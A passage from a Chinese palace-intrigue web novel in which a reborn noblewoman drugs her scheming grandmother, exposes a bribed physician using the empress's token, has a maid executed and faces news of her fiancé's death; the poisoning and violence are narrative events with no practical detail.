不过,这些她都不怕,她担心的是,对方能在极短的时间内做出这么多事,恐怕,铺子里有对方 的内应。 那个内应一日找不出来,她就一日不能安心。 况且这次品鉴会关系重大,若不能及时找回失窃的首饰,或是及时补上空缺,轻则影响她和铺子的声誉,重则,她和皇后娘娘后续的计划都要被迫改变。 一想到这,秦时月就觉得头疼不已。 若是之前,她大可以让影夜再派两个人来,可现在,影夜的人已经用的七七八八,她身边已经无人可用…… 秦时月紧抿着唇,眼神迟疑。 影夜的训练也有段时间了,不知道那些孩子,能不能独当一面的为她做些事…… 沉吟片刻,她还是做出了决定。 那些孩子接受训练就是为了关键时刻有人可用,现在正值用人之际,她也顾不得许多了! “来人!”她低唤一声,一道身影立刻出现。 “给影夜传话,让他派三个机灵的过来,我有事交代他们。” “是!” 暗卫领命退下。 凤仪宫。 皇后眉头微皱,“良妃病了?” “是,听宫人说,夜夜梦魇,被折磨的消瘦了许多,白日老奴在后花园远远看着,人确实是少了几分精气神。” 嬷嬷一边给她梳头,一边回应。 “呵,良妃最会装病,这次又是要人请皇上了吧?” 皇后并不在意。 若在以前,她或许还会被情分束缚,不希望皇上被其他人分享,可自从认清了皇上的绝情,她已经不再期待了。 “听说良妃这次患病,并没有让人去请皇上。”嬷嬷皱皱眉,显然也觉得意外。 “哦?” “奴才也是听说的,说是良妃跟皇上请示,让她娘家人来侍疾。” 患病了不请太医,不寻民间神医,反而要娘家人进宫侍疾? 这怎么想也不正常。 皇后眼神微闪,里边带着几分深思。 第126章 给老虔婆来点好东西 “这件事你盯紧了,本宫总觉得这里边有问题。” “是。”嬷嬷点头应下。 皇后想到什么,眼珠子一转,叫来了绘春。 她在绘春耳边交代几句,绘春立刻急匆匆的出了宫。 绘春在明月芳华找到秦时月后,便将皇后的话一五一十的说了出来。 秦时月原本还有些不解,突然脑中灵光一闪,想到了秦可云身边的教养嬷嬷,顿时猜到了什么。 她冷笑一声,眼神凌厉。 好啊,良妃和老夫人竟然打的是这个主意! 也对,良妃帮秦可云入宫,只要秦可云能得到皇帝的喜爱,就能成为良妃的助力。 便能帮良妃、宋砚辞巩固权势,到那时,搬倒他们就更难了! “秦小姐可是想到了什么?”绘春有点不解。 “是想到了一些事,但我目前还不能确定。姑姑,你回去后替我转告皇后娘娘,这件事我心里有数,不过,宫里我鞭长莫及,良妃那边,还需要娘娘的人盯着。” “秦小姐放心,娘娘察觉不对劲,第一时间就让人盯着了。” 听到绘春的回答,秦时月点了点头。 看来,老夫人那边,她也该打算起来了,否则,真等老夫人算计成功她再动手,那就晚了! 送走了绘春,秦时月叫来掌柜的交代几声,然后便带着小荷回府了。 一回府,她就让小荷去叫来了春兰,夏竹。 “大小姐,您找我们,可是有事要我们办?” 春兰夏竹自从跟了秦时月,不仅待遇提高了,就连平时的赏赐都多了很多,如今她们对秦时月已经不像一开始那样抵触,甚至恨不得为秦时月做点事,也好让秦时月看到她们的价值。 “老夫人最近有些过于碍事,我想让她静养几日。”秦时月嘴角带笑,眉眼弯弯,看起来一副人畜无害的样子。 可就是这副样子,吓的两人立刻低下了头。 “你们不用怕,她是我的祖母,我不会要她的命。”说着,秦时月掏出了一个精致的小瓷瓶,然后放到桌面上,“这个,每日掺上一星半点在祖母的吃食里就行,放心,任何人都查不出东西,也就不会有人怀疑到你们身上。” 她做事向来不会给自己留下任何把柄,这药只会让老夫人昏昏欲睡,精神不济,暂时不会有性命之忧。 春兰和夏竹对视一眼,心中虽然忐忑,但想到秦时月的手段和平日的恩惠,还是咬牙应下了这件事。 秦时月笑笑,从一旁的锦盒里抓了几块碎银子,轻轻推到两人面前,“这是给你们的辛苦费,事成之后还有重赏。记住,要做得自然,莫要让人起疑。” “大小姐,这使不得,您平日赏的已经够多了。” 这几锭银子看着不起眼,但怎么也有二三两了,要知道,一两银子足够寻常百姓一家人生活两个月,二三两,对她们来说绝不是小数。 秦时月满意的勾着唇,“拿着吧,这是你们应得的。” 她这个人呀,再活一世,已经明白了什么叫恩威并用。 她们身上的毒是为了让她们没机会叛变,而这些银子,是为了让她们更好的为她办事。 待两人退下后,她站在窗前看着老夫人院子的方向,眼中闪过一丝冷意。 这府里的暗流涌动,她比谁都清楚,老夫人吃了这么多次亏还学不乖,那就别怪她先下手为强,不让她颐养天年了! 第二日一早,老夫人身边的刘嬷嬷就白着一张脸出现在了正厅。 片刻后,长乐侯府众人就匆匆赶到了老夫人的院子里。 “母亲这是怎么了?”长乐侯眉头紧锁,眼底隐隐带着不耐烦。 他上朝在即,却突然得到母亲生病的消息,他不急才怪。 “老奴也不知道,早上老奴去叫老夫人起来用饭,一进门才看见不对劲。”刘嬷嬷脸色惨白,额头隐隐有冷汗滑下。 “请大夫了吗?”秦时月故作关心。 “回大小姐的话,已经派人去请了,只是大夫还没到。”刘嬷嬷偷偷抬眼看向秦时月,却见对方神色如常,小脸上满是担忧。 紧抿着唇,刘嬷嬷有些不确定。 其余人神色各异。 长乐侯夫人一副事不关己的样子,芳姨娘面上虽然担忧,但不见半点着急。 秦时月在心里冷笑一声,道,“我来给祖母看看吧。” 这里的人都知道她会医术,她如今主动提起,反而不会引起他们的误会。 她款款走到床边坐下,然后轻轻握住老夫人冰凉的手腕,装模作样的搭上老夫人的脉门。 “祖母的脉象虽弱,但还算平稳,应该是吃的不对,夜里又受了些凉气。”说完,她转头对刘嬷嬷道,“让人去催催大夫,再让人准备些温水来。” 说话间,秦时月的目光扫过老夫人苍白的嘴唇、乌黑的眼底,眼底闪过一丝满意的神色。 还是这样看着比较顺眼。 长乐侯正要松口气,秦怀瑾却冷哼一声站了出来,“我看,还是请太医来看看的好,毕竟,祖母先前和你闹过不愉快,保不准你故意给她看错呢。” 他被秦时月这个贱人害的太惨,现在虽然表面看上去没有任何问题,但脱下衣服,他的屁股、大腿根,没有一处好地。 这个仇,他是一定要报的! 秦时月一脸伤心,起身退到了一旁,“兄长既然疑心我,那我不说话就是了。” 现在老夫人、长乐侯夫人谋划的事乃是灭九族的大事,她不急,就等着看他从云端跌落泥潭! 秦怀瑾冷哼一声,转身朝长安使了个眼色,长安立刻领会,转身就走。 他的用意很简单,那就是让长安去请太医走一趟。 有他们长乐侯府的面子在,哪个太医敢推辞? 芳姨娘不受老夫人待见,此时也没心情在这装孝顺,她捂着小腹,脸色有些发白,“侯爷,小家伙闹腾的紧,妾身留下来帮不上什么忙,不如……” “你快回去休息,这里没你的事。”长乐侯皱皱眉,眼底闪过一丝紧张。 这孩子是他老来得子,他稀罕的紧。 比起自己的亲娘,他更担心这个孩子出事。 第127章 跪了一地,也是壮观 芳姨娘离开了,屋内的气氛却越发凝重,长乐侯来回踱步,不时望向门外。 秦时月冷眼旁观,心中暗想:这老匹夫表面装的孝顺,实则连亲生母亲的死活都不放在心上。 突然,双眼紧闭的老夫人剧烈咳嗽起来,嘴角还渗出了一丝鲜血,刘嬷嬷惊呼一声,刚要扑上前去,却被秦时月拉住了。 “嬷嬷,还是我去看看吧。”说着,她快步走到床边,二次诊脉,这次,眉头倒是舒展了许多,“祖母咳出了一些淤血,脉搏比刚才强健些了。” 说话间,外边传来一阵急促的脚步声,下一秒,长安匆匆走进来,“刘太医到了!” 长乐侯往里瞧了一眼,然后道,“我留下来也帮不上什么忙,既然太医到了,那我就先去上朝了,有什么事回来再说。” 说完,不顾咳嗽不止,他直接转身离开了。 长乐侯夫人也想走,可想到秦可云的事还没个着落,撇撇嘴,按捺住了不耐烦,留了下来。 刘太医提着药箱匆匆入内,先是向众人行了一礼,而后快步来到床前。 他先是仔细查看了一下老夫人的面色,又翻开她的眼皮看了看,最后才搭脉。 诊脉时,大夫的眉头越皱越紧,眼里也多了一丝纠结。 “大夫,我祖母情况如何?”秦时月故作担心的问到。 刘太医收回手,扫了秦时月一眼,然后朝着长乐侯夫人拱了拱手,“老夫人脉象紊乱,属气血两亏之症,但这情况不会吐血。方才我闻了闻老夫人的血,味道刺鼻,更像是中毒。” “中毒?”刘嬷嬷惊呼出声,随即又慌忙捂住嘴,眼神复杂的看向秦时月。 这里跟老夫人有仇的,就只有大小姐,难不成是她…… 秦时月面色如常,只是微微蹙眉,“祖母平日的饮食起居都有专人照料,怎会中毒?刘太医可看好了?” 她亲自研制的药,药效如何,会不会被验出来,她最是清楚。 况且,她刚刚亲自把脉,脉象确是混乱,但并没有半点中毒的迹象。 联想到他刚刚看自己的眼神,秦时月的心里有了一个猜测。 她挑眉看向一旁的秦怀瑾,不由自主的冷笑一声。 原来他让长安去请刘太医是这个目的,可真是好算计! 秦时月面上不动声色,只是静静观察着屋内众人的反应。 既然他们要玩,那她就陪他们玩个够,正好,刘嬷嬷这个老虔婆活的够久了,也是时候让她早登极乐了! 刘太医冷哼一声,“老夫行医多年,绝不会看错。老夫人体内确有毒素淤积,秦大小姐是怀疑老夫的医术,还是说,这下药的事和你有关,你担心老夫查出什么?” 长乐侯夫人闻言,眼睛立刻瞪大,“中毒?秦时月,是不是你搞的鬼!?” 一旁的春兰被吓的浑身哆嗦个不停,脑袋垂的更低,更不得钻到桌子底下,生怕大家看到她一样。 药是她下的,可她也是因为秦时月说,这药只会让老夫人身体虚弱,不会被任何人查出来,才敢下药。 可现在…… 秦时月不慌不忙坐下,目光平静的扫过在场每一个人,然后看向刘太医,“刘太医既然说我祖母是中毒,那请问,她所中何毒?可有解毒之法?” 刘太医眼珠子转了转,面不改色道,“老夫虽然暂时不能确定老夫人所中何毒,但万幸老夫人中毒不深,待老夫开几副解毒汤药,再施针催吐,想必用不了多久就能痊愈。” 老夫人原本就是气血两亏,只要气血补上来,用不了多久确实能恢复如初。 只是他收了好处,这种事,他自然不会说出来。 秦时月的嘴角勾起一抹若有若无的笑意,“刘太医,您确定不是看错了?我方才为祖母诊过脉,她的症状分明是气血两亏,怎会与毒物有关?” “秦大小姐这是在质疑老夫的诊断?还是说,你是故意隐瞒老夫人中毒一事的?”刘太医冷哼一声,眼神凌厉。 这就沉不住气了? 秦时月心里好笑,正要说话,却被秦怀瑾打断了,“好啊你,你在府里搅弄风云也就算了,如今竟然敢给祖母下毒,来人!将秦时月关进柴房,等候发落!” 关进柴房? “谁敢动我!”秦时月眸光一沉。 他又想用上一世的法子将她先行囚禁,然后隐瞒她的行踪,再以各种折磨人的手段折磨她,直至她咽气吗? 不可能! “反了你了!”长乐侯夫人不是个傻的,立刻明白了秦怀瑾的用意。 秦时月已经脱离掌控,正好趁这个机会将人拿下,到时候,是杀是罚,全凭她说了算! “来人!把这个不孝女给我拿下!”想通了关键之处,长乐侯夫人厉声喝道。 很快,几个粗使婆子围了上来。 秦时月歪着脑袋轻笑一下,笑容里带着嘲讽和不屑。 随后,她不慌不忙的从袖袋中取出一块令牌,在众人面前一亮,“见令如见皇后亲临。” 话落,屋内一片寂静,落针可闻。 那几个刚挽起袖子的婆子们面面相觑,肉眼可见的慌张,谁也不敢上前。 长乐侯夫人、秦怀瑾、刘太医等人更是脸色瞬间惨白,脸上除了不敢置信,还有不甘。 秦时月又笑了,“见令牌如见皇后娘娘,母亲,莫不是要以下犯上?” 长乐侯夫人脸色铁青,最终膝盖一软,跪在了地上。 秦怀瑾的眼里闪过一丝阴鸷,藏在袖中的拳头捏的咯咯作响,却也只能跪下来。 刘太医更不用说,秦时月声音才落,他便噗通一声跪了下来。 随后,婆子丫鬟们齐刷刷跪了一地,所有人都胆战心惊的不敢抬头,只有春兰,不自觉的松了一口气。 没想到大小姐手上有这种好东西,这样一来,就算查出老夫人中毒,她也不会受到波及了…… “刘太医。”秦时月没有理会众人,抬脚走到他面前,笑吟吟的看着他,“你方才说祖母中毒,本县主虽然跟你意见不同,但也愿意相信你,毕竟你入宫几十载,想来不会出错。” 第128章 拉下去,杖毙 刘太医双腿发软,整个身子匍匐在地上,额头上不断有冷汗冒出来,“下官……下官……” 此时的他哪还有刚刚的傲气?只要秦时月不以皇后的权势处置他,他就烧高香了。 “既是中毒,定是有人下毒。”说着,她一脸深思,扭头看向脑袋抵地的刘嬷嬷,“你日日侍奉祖母,祖母的一切吃穿用度都由你负责。” 刘嬷嬷小腹一紧,差点被吓的尿出来,“老奴,老奴……” “我看,那毒定然是你下的。来人。”不等刘嬷嬷结巴完,秦时月轻飘飘开口。 她话音一落,立刻从门外冲进来两个黑衣男子。 众人被这一幕吓的不知所措,想要开口的,也沉默了。 他们从来不知道,长乐侯府里竟然有秦时月的私人侍卫。 这两个哪里是她的私人侍卫?他们是影夜刚送来的,还未出师的暗卫。 影夜听从秦时月的命令,一共送来三个,另外一个按照秦时月的命令去盯着三公主那边了,目前侯府里,只有这两个。 “这个狗奴才对主子下毒,把她拉下去……杖毙。”秦时月轻飘飘的说出“杖毙”两个字,当场将长乐侯夫人的脸吓的惨白。 她身为长乐侯夫人,多年来掌管后宅,自诩手段凌厉,手上也沾染着几条人命。 可她在十六七岁的时候,可没像秦时月这般狠戾过。 这一刻,长乐侯夫人知道,有什么东西已经悄然变了。 她身子晃了晃,差点栽倒。 刘嬷嬷不断求饶,但还是被强硬的拖了出去,院子里很快传来沉闷的杖击声和刘嬷嬷凄厉的哀嚎求饶声。 秦时月神色淡然,仿佛那惨叫声根本影响不到她,不过半盏茶的功夫,暗卫就进门禀报,说是人已经断气了。 她勾勾唇,掀起眼皮看向脸色惨白的长乐侯夫人,“母亲怎么还跪着?肖嬷嬷,快将母亲扶起来。” 肖嬷嬷深深看了长乐侯夫人一眼,在心里叹口气,走过去将人扶了起来。 她虽然不赞同小姐的做法,可夫人刚刚那样对待小姐,若不是小姐手上有皇后娘娘亲赐的令牌,只怕此时受折磨的,就是小姐了。 一想到这,她看向长乐侯夫人的眼神就复杂不已。 她实在看不懂夫人,明明小姐是她的亲生女儿,为何她从是将小姐当成仇人呢? “时,时月,皇后娘娘赏赐你令牌的事,先前怎么没听你提起过?” 长乐侯夫人刚刚站稳,就扯着比哭还难看的笑,问道。 秦时月翻手看了看令牌,似笑非笑,“您说这个啊?时月原本觉得没什么,再说,您没问过,所以就没提过。不过现在看来,先前时月没提起,倒是看清楚了不少事。” 长乐侯夫人的脸色青了白、白了青,偏偏一个声音都发不出来。 刘太医哪见过这样狠辣的“小姐”?她分明连自己的母亲都没放在眼里。 意识到这点,他更慌了,生怕秦时月翻旧账。 “下毒的人虽然已经处理了,但祖母中毒,本县主并不放心。小荷。” 小荷一进来,秦时月就将自己的玉佩递了上去,“你带着本县主的玉佩进宫一趟,务必多请几个太医过来一起看诊,时间紧急,不可耽误!” “是!”小荷抓紧玉佩,一路小跑着冲了出去。 刘太医脸色一白,差点当场晕厥。 他在来的时候收了长安的银子,说是只要将矛头引到秦时月身上,不用做其他事就成。 谁知现在,事情的发展完全超出了他们的预想。 一旦他的同僚过来,老夫人“中毒”一事立刻就会露馅,到那时…… 想到自己的下场,刘太医咚咚的直磕头,“县主,县主大人饶命!” 与其被查出来秋后算账,不如他主动供出秦怀瑾,或许,或许县主还能给他一线生机! 秦时月坐在桌边,慵懒的给自己倒了一杯茶,“怎么?刘太医这是有话要说啊?” 秦怀瑾心里暗道不好,正要开口转移话题,谁料刘太医倒豆子般,三两句就将秦怀瑾收买他的事说了出来。 秦怀瑾面色灰败,心瞬间提到了嗓子眼。 “放肆!”秦时月眯着眼,突然提高音量,“祖母没中毒,你却信口雌黄,不仅利用这件事污蔑本县主下毒,害本县主做出错误的判断,杀害忠奴,现在更是恬不知耻的攀咬本县主的兄长,你,你简直罪无可恕!” “来人!” 刚刚的暗卫立刻冲到刘太医身边,只等秦时月发话。 “将他拉下去看管起来,本县主这就写褶子,请陛下定夺!” 刘太医虽然官小,但到底是朝廷亲封的官职,她没有私自处置的权利。 刘太医傻了。 他怎么也没想到,说实话的后果竟然是这样。 “至于兄长……”刘太医被拖下去,秦时月似笑非笑的看向秦怀瑾,“不如你自己说说,我该不该听信刘太医的话,将你和他私相授受的事呈上去呢?” 秦怀瑾心有不甘,但碍于她手上的令牌,不得不伏低做小,强撑着镇定道:“妹妹莫要听信谗言,你我是同胞兄妹,我怎么会让他害你?定是刘太医见事情败露,胡乱攀咬,想拉我下马。” 屋内气压低迷,众人更是大气都不敢出。 长乐侯夫人嘴唇颤抖,几次想开口为秦怀瑾辩解,却在秦时月看透一切的目光下说不出一个字。 秦时月叹口气,股作为难,“我是信兄长的,可往日桩桩件件……也不能完全洗脱你的嫌疑。长安,你说呢?” 长安被吓破了胆,哆嗦着说不出一句完整的话。 就在此时,院外传来急促的脚步声,小荷领着三位太医匆匆赶来。 看到这一幕,秦时月笑了,“既然太医们到了,那就先为祖母诊治吧,我也想瞧瞧,祖母到底是怎么了。” 经过三位太医的诊脉,最终得到了一致的答案。 老夫人上了年纪,气血亏损。再加上应该是吃的多了,夜里又受了些凉气,所以才会导致昏迷不醒,气血翻涌。 第129章 买下心仪银镯 长乐侯夫人双腿发软,看向秦时月的眼神里充满了乞求。 秦怀瑾攥紧了拳头,指甲深深掐进掌心。 他万万没想到事情会发展到这一步,原本想趁机搬倒秦时月,没想到被她轻松化解。 不仅丢了刘嬷嬷的命,还让自己也陷入了绝望的境地…… “既然太医们都确认祖母只是普通病症。”秦时月起身,面上带笑,笑意不达眼底,“那就请太医们好好诊治,至于其他的事,等我禀明圣上后再说吧。” 说完,不顾差点昏厥的长乐侯夫人和秦怀瑾,在肖嬷嬷的搀扶下,款款离开了老夫人的院子。 哎呀呀,解决了几个碍眼的臭虫,真是舒爽的紧啊。 “小姐,回小院吗?”肖嬷嬷并不知道她的真实想法,只以为她在强颜欢笑,不免有些心疼她。 “不,去东市一趟,一会儿让小青陪我去就成。”首饰的事还没着落,她打算去东市看看,如果有入得了眼的,也好买回来充数。 “是。” 现在的小姐脱胎换骨,肖嬷嬷放心的很,所以没有多问。 半个时辰后,秦时月带着小青到了东市。 小青紧紧跟着,看到稀罕的小玩意儿,会忍不住好奇的多看几眼。 秦时月将一切看在眼里,知道她是小女孩心性,轻笑一下,干脆让她自己去逛逛,遇到喜欢的也不妨买下来。 上一世,小青、小荷豆蔻年华,却为了护她,惨死在侯府后院,这一世,她会像大姐姐一般护着她们,宠着她们。 “不行不行,出门的时候肖嬷嬷交代了,让我一定守着您。” 肖嬷嬷没说太多,只说小姐今日遇到了一些事,心情不好,让她千万不能离开小姐身边。 小青没什么心机,但关于秦时月的事,她都会牢牢记着。 秦时月眸光柔了一下,然后抬手点了一下她的额头,“我不去别处,喏,就前边的首饰铺子,你在这附近转转,顺便给我买点蜜饯。” 小青伸长脖子看了眼不远处的首饰铺,这才犹豫着点点头。 和小青分开后,秦时月走进铺子。 掌柜的见有客人进门,立刻热情的迎了上来。 她细细打量着掌柜的端上来的托盘,上边精致的发簪和耳坠质感不错,但都是前两年的款式,并没有什么出彩的地方。 就在掌柜的介绍的时候,她的余光瞥见掌柜的身后有一个不起眼的木匣。 她有些好奇,“掌柜的,那里边是什么?” “哦,是个银镯子,我拿给贵人看看。” 掌柜的眼里闪过一丝失望。 原以为今日能开张,卖个不错的价格,谁知道人家看不上他的镇店之宝。 木匣子打开,里面静静躺着一支古朴的银镯,银镯上雕刻着繁复的缠枝花纹和一只栩栩如生的蝴蝶。 这镯子的款式更老旧,但做工极为精致,就连蝴蝶翅膀上的纹路都清晰可见。 秦时月拿起镯子凑近门口,在阳光下,镯子上的纹路泛着柔和的光泽。 她眼前一亮,忍不住心生喜欢。 这镯子虽然样式古朴,却透着一股说不出的韵味,而且,它给她带来了一些灵感。 “这镯子我要了。”她道。 掌柜的愣了一下,随即喜出望外,手脚麻利的给她打包,边包边道,“贵人好眼力!这镯子是前朝宫廷匠人的手艺,如今市面上已经看不到了。” 前朝皇室的御用之物? 没想到在这个不起眼的首饰铺子里,竟能淘到这样的宝贝。 “掌柜的,这镯子可还有配套的首饰?”她状似随意的问道。 掌柜的将盒子推到她面前搓搓手,赔笑道:“贵人慧眼,这镯子确实是一套的,只是其他几件早些年就被人买走了。小店还有其他的首饰,倒是能和它做配,不如我拿出来给您看看?” “不必了。多少钱?” 秦时月摩挲着盒子,问道。 这个镯子放在店里有些年头了,先前看过的客人不是觉得东西老、没新意,就是觉得这东西是前朝的,晦气,所以一直也没卖出去。 现如今好不容易有人想要,他倒是有点犹豫。 要的价高了,怕人家转身就走,要的价低了,他又有点舍不得。 掌柜的在心里盘算着,还偷瞄了秦时月两眼,这才纠结着伸出手指,说了个数,“一两银子?” 秦时月挑挑眉,随手从袖袋里掏出了一块碎银。 她岂会看不透掌柜的这点小心思?只是在她看来,这东西的手艺,值这个价,所以就懒得还价了。 掌柜的高兴不已,当即想送个香囊给她,却被她婉拒了。 付完银子,秦时月刚踏出铺子,就听见不远处传来一阵骚动。 她抬眼望去,就见小青正被几个锦衣华服的公子哥围在中间,小脸上满是惊慌。 “小丫头长的水灵,是哪家的下人?陪爷几个喝杯茶,爷几个给你赎身怎么样?” “不,不用了,我家小姐还在等我……”小青白着脸连连后退,声音发颤。 “不识抬举。”其中一个公子哥脸色一沉,伸手就要去抓小青的胳膊。 小青被吓到,退后的时候没注意,踩在了石子上,整个人猛的向后跌去。 周围有不少人停下来观看,却没有一个人敢伸出援手,有的脸上甚至带着惧意,显然知道他们的身份。 就在小青即将跌倒的时候,一只纤细却有力的手稳稳扶住了她的肩膀。 小青只觉得有一股温柔的力道将她托住、扶正,她转头要道谢,一扭头就发现扶住她的人是她家小姐。 小丫头当即红了眼眶,泣不成声,“小,小姐。” 秦时月将小青护到身后,脸色冰冷的看着几人,“几位公子好大的威风,光天化日之下竟敢当街调戏良家女子!” 她本就生的明艳动人,此刻冷着脸的模样多了几分摄人的气势,那几个公子哥先是一愣,待看清她的容貌后,眼里顿时闪过惊艳之色。 “哟,又来了个更漂亮的。”为首的公子哥摇着折扇,自诩风流,眼里却闪烁着轻佻的光芒。 第130章 梁斌赶回来 “这位小姐倒是比那丫头更有味道,不如随本公子去酒楼小酌几杯?” 秦时月冷笑一声,看向他们的眼神像在看几个死人,“调戏县主,你们可知是何等罪名?” “哈哈哈!”几个公子哥闻言,相识一眼,大笑不已,为首的更是嚣张的向前逼近一步,“县主?本公子还没见过县主。不瞒小姐说,在这东市,还没有本公子不敢做的事。” 小青紧张地攥住秦时月的衣袖,却被她安抚地拍了拍手背。 几人眼看秦时月不用正眼看他们,他们心里恼火,上去就要拉她。 她虽然有身手,但一方面要护着小青,一方面这里人员密集,此时出手,那些在暗处盯着的眼线肯定第一时间就会知道。 秦时月眼睛一眯,翻手掏出一根银针,心里暗想:要是有人不长眼碰到了她,那她就让他们知道知道,什么人是他们惹不起的。 为首的已经逼近,咸猪手更是朝着秦时月的青葱玉手摸来。 秦时月在心里冷哼一声,正要动手,远处突然传来一阵马蹄声,不过瞬间,一个一身黑衣的男人翻身下马,恭敬的单膝跪在了秦时月面前。 “属下回来迟了,望县主责罚!” 是梁斌。 县主? 几人的面色瞬间惨白一片,为首的那个公子哥手中的折扇啪嗒一声掉在地上。 能被称作县主的,除了当今陛下亲封的明月县主还能有谁? 他们虽然无缘得见这位县主的真容,但这位县主自回京后出尽了风头,他们全都有所耳闻。 他们怎么也没想到,他们竟然踢到了铁板。 几人双腿发软,扑通一声,纷纷跪倒在地,“县主饶命!小的们有眼不识泰山!” 他们连连磕头,额头很快渗出血丝,周遭的百姓们更是接连跪了一地。 他们怎么也没想到,这个穿着锦服,身边没一个下人的普通的女子竟是当朝明月县主,吓的浑身哆嗦个不停。 秦时月冷冷扫了他们一眼,声音如同寒冰,“梁斌,这几人当街调戏民女,以下犯上,该怎么处置,你应该清楚。” 她明明可以直接让梁斌将他们下狱,但那样一来,恐怕会落人口实,倒不如一切按照规矩办事。 “属下明白!”梁斌起身,眼神凌厉地看向那几个公子哥,“你们是跟我去官府,还是我带人上门抓人?” 这可是明月县主啊。 他们就是逃走,也会被抓回来,到时候被下狱的,就不止他们了。 几人不敢生出别的念头,忙说他们跟着走。 围观的百姓见状,纷纷拍手称快,纷纷大喊“县主英明”。 这些人平日里作恶多端,早已惹得民怨沸腾,但碍于他们的身份,敢怒不敢言。 就在几人跟在梁斌身后离开的时候,人群中不知是谁,朝着几人扔了一棵烂菜叶子,有了开头的,后边的人纷纷动手,眨眼间,几人的身上就全是臭鸡蛋、烂菜叶子。 看到这一幕,秦时月忍不住搓搓手背,带着小青悄悄离开了。 本以为这件事到此就告一段落了,谁知当天傍晚,秦时月就被长乐侯叫到了花厅。 他坐在首位,脸色阴沉的能滴出水来。 看到他这副样子秦时月就烦,皱皱眉,语气有些不悦,“父亲唤女儿来所谓何事?” “何事?你可知你今天让人带走的那几位公子是谁家的?”长乐侯被气笑,压着嗓音问到。 “不清楚。”秦时月自然落座,随口回到。 对于她不尊长辈的行为,长乐侯除了被气,一点办法也没有,干脆不再指正。 “那几位公子都是朝中重臣的庶子,今日的事也并非第一次,你可知别人不管,你却管了,你回给侯府带来多少麻烦?” 原来是为了那几个渣滓。 秦时月不慌不忙的给自己倒了一杯茶水,喝了一口后才笑道,“父亲此言差矣。女儿身为朝廷亲封的县主,维护朝廷法度乃是本分。若纵容此等宵小之徒当街调戏良家女子,岂不是有负圣恩?” “您说,是那些重臣和侯府的关系重要,还是陛下的恩宠重要?” “你!”长乐侯气的浑身发抖,指着她的手忍不住发颤,“你一个女子,知道什么是朝中局势?他们几人联合起来针对为父,你当为父能坐稳?” “父亲说的对。”秦时月故作恍然大悟,一脸兴奋的说道,“女儿这就回去将此事的原委写成奏折,明日一早就由父亲呈道御前,这样一来,几位教子不严的重臣势必要收到责罚,必然不敢与父亲为敌。” 长乐侯闻言脸色骤变。 他突然意识到,自己这个女儿早已不是从前那个任人拿捏的软柿子。 只是他不明白,她如今每一步都算计的滴水不漏,是为了什么。 “你到底想怎样?”长乐侯眉头微拧,虽然面色未变,但他不知道,他的气势已经弱了下来。 秦时月抬眸眨眨眼,故作不解,“父亲怎么这样问?女儿只为还天下女子一个公道。父亲不愿得罪几位大人,那女儿只能公事公办。” “放肆!”长乐侯还没出声,门外突然传来一道中气十足的吼声。 秦时月挑眉看去,竟然是卓老爷子,也就是她的外祖父。 她起身盈盈一拜,不疾不徐的唤了声“祖父”。 卓老爷子看都不看她一眼,朝着长乐侯冷哼,“顺强,这便是你养的好女儿,竟然明目张胆的与你作对!” 他听说老夫人身体欠佳,所以过来探望,顺便想问问长乐侯夫人最近的情况。 不成想刚从老夫人的院子里出来,就听到如此悖逆的言论,当场就忍不住闯了进来。 “岳父说笑了,时月平日还是挺乖巧的,您请上座。” 长乐侯不是个糊涂的,虽说秦时月有些不受控制,但到底是他亲生的,更何况,她不日就要嫁进辰王府,到时候侯府也算有个依傍。 最主要的是,卓家近两年来已见颓败之势,他最近又有抬平妻的念头,所以对卓老爷子的指责,他是当场就圆了过去。 第131章 辰王出事了 卓老爷子冷哼一声,在首位坐下,眼带怒意的在秦时月身上扫了一遍。 “如今你祖母昏迷不醒,你要是个孝顺的,就该陪侍在侧,这个时候还有闲心去东市闹出这么大的动静,真是不知所谓!” 秦时月眼睛微眯,嘴角噙着一抹浅笑,“祖母那边有太医,有兄长,何须时月担心?至于东市那边的事,可不是时月引起的。” “哼!”卓老爷子重重拍了下桌子,“不是你引起的?你一个未出阁的姑娘,随便出门抛头露面已经是不应该的,还找什么借口!” “外祖父此言差矣。”秦时月声音清冷,“若不是时月抛头露面,这侯府偌大的荣耀从何而来?我不过是替天行道,怎么就惹的外祖父这么不悦?” “你!”卓老爷子气的嘴角抽搐,手指发颤,“好一张伶牙俐齿的逆女!顺强,你看看你教出来的好女儿!” 原本长乐侯夹在中间左右为难,现在听到秦时月捅破那层窗户纸,当即黑了脸,“时月,你越发不懂规矩了,还不给外祖父跪下,赔礼道歉!” 他刚被封长乐侯的时候,全京城无一人不在谈论他,都说他上辈子烧了高香,生了秦时月这样有本事的女儿, 更有甚至,说只要秦时月一日不死,他们整个秦家都会因为她的救驾之功顺遂下去。 可他并不是这么想的。 不,应该说,整个侯府,没有一人是这么想的。 就连他都觉得,如果没有秦时月,这救驾的人就会是他,反倒是秦时月挡了他的前程! 秦时月站在原地纹丝不动,嘴角的笑意却更深了几分,“女儿何错之有?外祖父不分青红皂白指责女儿,难道这就是卓家的家教?” 在这个朝代,她这番话已经算得上是大逆不道了。 只是卓家近年来日渐式微,族中子弟大多不成器,全靠祖上余荫和秦时月的救驾之功撑着。 这种时候不仅不知道收敛,反倒敢苛责于她,这秦时月能忍? 被一个小辈当面嘲讽,卓老爷子顿时被气得浑身发抖。 “反了反了!”卓老爷子猛的站起身,指着秦时月对长乐侯道,“今日你若不好好管教这个不孝女,我就,我就……” 秦时月心中冷笑,忽然觉得有些无趣。 她不耐烦的福了福身,道,“父亲,外祖父,若是没有其他事,女儿就先告退了。” 不等两人回应,她转身就走。 身后传来卓老爷子愤怒的咆哮和长乐侯不走心的劝解声,她却充耳不闻,步履轻盈的离开了花厅。 她要做的事还多着呢,哪有时间跟他们纠缠? 今日她好不容易在镯子上找到灵感,她要抓紧将图纸画出来,也好让工匠早日打出来,为品鉴会做准备。 翌日。 秦时月昨夜画图纸画的有些晚,所以今早起的有些晚。 好在最近的一切都在按照她的计划进行,没什么着急的事。 谁知就在她翻身坐起要下床的时候,小荷脚步踉跄,满脸泪痕的冲了进来。 “不,不好了小姐!” “怎么了?”秦时月吓了一跳,但还是满眼带笑,宠溺的道,“慢慢说,有事你家小姐顶着。” 除了上辈子,她还是头一次在小荷的脸上看到这种慌乱无措的神情。 “辰,辰王出事了!” 宋墨辰? 秦时月僵了一下,连她自己都没察觉到,她的神情里透出了一丝慌乱。 “你慢慢说,到底发生了什么事?” “边关刚传来消息,说是王爷遇刺……不治身亡!”小荷担心秦时月受不住,即便再难受,也不敢哭出声。 小荷话音刚落,秦时月只觉的脑袋里嗡的一声,随后,眼前一阵发黑。 